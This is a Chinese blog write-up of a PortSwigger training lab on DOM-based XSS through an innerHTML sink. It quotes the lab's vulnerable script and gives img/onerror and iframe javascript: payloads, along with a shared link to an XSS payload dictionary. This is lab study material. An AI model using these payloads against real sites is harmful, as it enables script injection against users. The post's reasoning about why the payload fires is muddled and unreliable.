首页 > 其他分享 >burpsuite靶场----XSS----DOM型XSS2

burpsuite靶场----XSS----DOM型XSS2

时间:2023-08-19 14:22:36浏览次数:42  
标签:XSS XSS2 DOM doSearchQuery ---- query 靶场

burpsuite靶场----XSS----DOM型XSS2

靶场地址

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink

XSS字典

链接:https://pan.baidu.com/s/1XAJbEc4o824zAAmvV85TOA
提取码:1234

正式开始

1.先输入一定的字符串确定位置


2.查看源码 发现没有找到输入的字符串

3.分析核心html源码

                        <script>
                            function doSearchQuery(query) {
                                document.getElementById('searchMessage').innerHTML = query;
                            }
                            var query = (new URLSearchParams(window.location.search)).get('search');
                            if(query) {
                                doSearchQuery(query);
                            }
                        </script>

出现了window.location.search,下面还写了

  if(query) {
                                doSearchQuery(query);
                            }

要想触发这个if(query)条件,就要使用能够有搜索功能的标签,所以有以下payload
<img src=x one rror=alert(1)>
<iframe src=javascript:alert(1)>
触发if条件,完成目标

标签:XSS,XSS2,DOM,doSearchQuery,----,query,靶场
From: https://www.cnblogs.com/thebeastofwar/p/17642423.html

相关文章

  • 图的遍历
    图的遍历有多种方式,但是这里从数据结构基础出发,还是只介绍基础的两种方式,深度优先遍历和广度优先遍历。深度优先遍历图的深度优先搜索(DepthFirstSearch),和树的前序遍历比较类似。它的思想:假设初始状态是图中所有顶点均未被访问,则从某个顶点v出发,首先访问该顶点,然后依次从它的......
  • pstack,strace,gdb工具使用
    pstack,strace,gdb工具使用MySQL的几种调式分析工具介绍MySQL的几种调式分析工具,常用的有如下4种:pstackgdbstraceperf如下分别介绍之。pstack注意:pstack所追踪的是用户态调用栈获取堆栈信息问题线程的定位负载较低mysql_pid=23632pstack$mysql_pid>pstack.infopt-pmp对堆栈......
  • Oracle 12C 新特性-扩展数据类型,在12c中,与早期版本相比,诸如VARCHAR2, NAVARCHAR2以及
    1.查看参数max_string_size默认值SQL>showparametermax_string_sizeNAME                   TYPE                 VALUE---------------------------------------------------------------------......
  • SQL Server 批量导出存储过程、视图和函数
    selecta.name,a.[type],b.[definition]FROMsys.all_objectsa,sys.sql_modulesbwherea.is_ms_shipped=0anda.object_id=b.object_idanda.[type]in('P','V','AF')orderbya.[name]asc当type为‘P’时,为存储过程当 type为‘V’......
  • 2023-Q2 学习记录
    2023-Q2学习记录日期学习/提升/事项2023年4月11日Eureka搭建、使用;Ribbon、load-Balance的使用;2023年4月12日使用Hystrix进行熔断的操作;Hash表第一部分;2023年4月13日解决Hystrix的使用bug;Hash表第二、三部分;字符串是否由多个子串组成......
  • iwebsec-文件上传 01 前端JS过滤绕过
    01、题目分析事实上,文件上传过滤是很正常的,需要自行判断是前端过滤还是后端过滤,一般上传木马的时候可以进行抓包,如果直接点击上传直接弹出禁止上传的界面,而没有抓到数据包,那就说明是前端js过滤,但是这个题目已经说明了是前端js过滤,就不用再测试了02、文件上传先用哥斯拉创建一个......
  • 什么是无锁化
    无锁简介无锁分为两大派系:乐观派系:它们认为事情总会往好的方向去发展,总是认为坏的情况发生概率特别小,可以无所顾忌的做任何事情.悲观派系:它们总会认为发展事态如果不及时控制,以后就无法挽回,即时此种局面不会发生的情况下。上述两大派系映射到并发编程中就如同加锁与无......
  • 正则表达式 过滤文本
    5.正则表达式过滤文本REGEXP:RegularExpressions,由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,而表示控制或通配的功能,类似于增强版的通配符功能,但与通配符不同,通配符功能是用来处理文件名,而正则表达式是处理文本内容中字符。正则表达式被很多......
  • 防火墙(安装、查看状态、开启、关闭)
    servicefirewalldrestart重启servicefirewalldstart开启servicefirewalldstop关闭1、问题描述当我们使用如下指令查看当前Ubuntu防火墙状态时:systemctlstatusfirewalld会报一个这样的错误:说明防火墙没有安装,需要安装!安装防火墙yuminstallfirewalld......
  • 2023/8/18
    早晨七点起床,早饭吃了个难吃的萝卜煎饺,以及一碗紫米粥上午是尴尬的班会我超,居然有人表演方舟启动,这下我不得不表演崩铁启动了还行,智算七班的女生质量比我预想的高班会下课,我绕着44教绕了两圈也没找找我的自行车,果然还是共享单车方便被迫花了1.5r骑共享单车找回了我的车......